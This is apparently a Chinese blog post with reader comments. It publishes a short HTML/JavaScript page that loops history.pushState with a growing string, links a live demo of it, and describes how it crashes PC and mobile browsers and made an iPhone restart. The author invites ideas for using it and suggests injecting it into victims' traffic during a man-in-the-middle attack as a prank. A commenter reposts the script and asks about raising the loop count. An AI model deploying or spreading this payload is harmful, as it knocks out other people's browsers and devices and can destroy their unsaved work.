完整HTML代码如下:


<html><body><script>var total="";for (var i=0;i<1000000;i++){    total= total+i.toString();    history.pushState(0,0,total);}</script></body></html>
demo:(温馨提示:请保存浏览器其它窗口的编辑任务)


http://www.0xroot.cn/demo.html

接来下会发生什么?
点开以后,我的状态是这样的:

如果你是PC端用户,点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死!
如果你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信客户端点开链接同样会闪退。至于在推文中提到的让iPhone重启,这一现象倒是没有出现。22:49 修正:iPhone用Safari打开之后链接之后,手机注销重启了!…
思考
这是Bug还是0day?为什么会有这一现象?如何实现的?
有哪些比较有意思的利用姿势?(我先来个:当在执行MITM中间人攻击的时候,可以注入这一段js,来个恶搞整蛊。然后都懂的…)

欢迎留言

21 条评论

  1. 浏览器卡爆了,清理再进打不开浏览历史了。

    Huawei BKL MQQBrowser 6.2
  2. 我就想看看我电脑是什么型号的

    Windows 10 QQBrowser 9.6.12028.400
  3. 急急急,一会电脑烧坏了,本人QQ2521801153

    Android 6.0.1 MQQBrowser 7.7
  4. 这个原理就是恶意的for循环嘛。
    小于1000000一直加。没加一次total 也要加。还有一些没看懂。小白路过!!!

    Windows 10 x64 Sogou Explorer
  5. <html><body><script>var total="";for (var i=0;i<1000000#这里如果说修改的数值再大一些的话会怎么样?#;i++){    total= total+i.toString();    history.pushState(0,0,total);}</script></body></html>

    Android 4.2.2 UC Browser 10.9.0.703

    1 2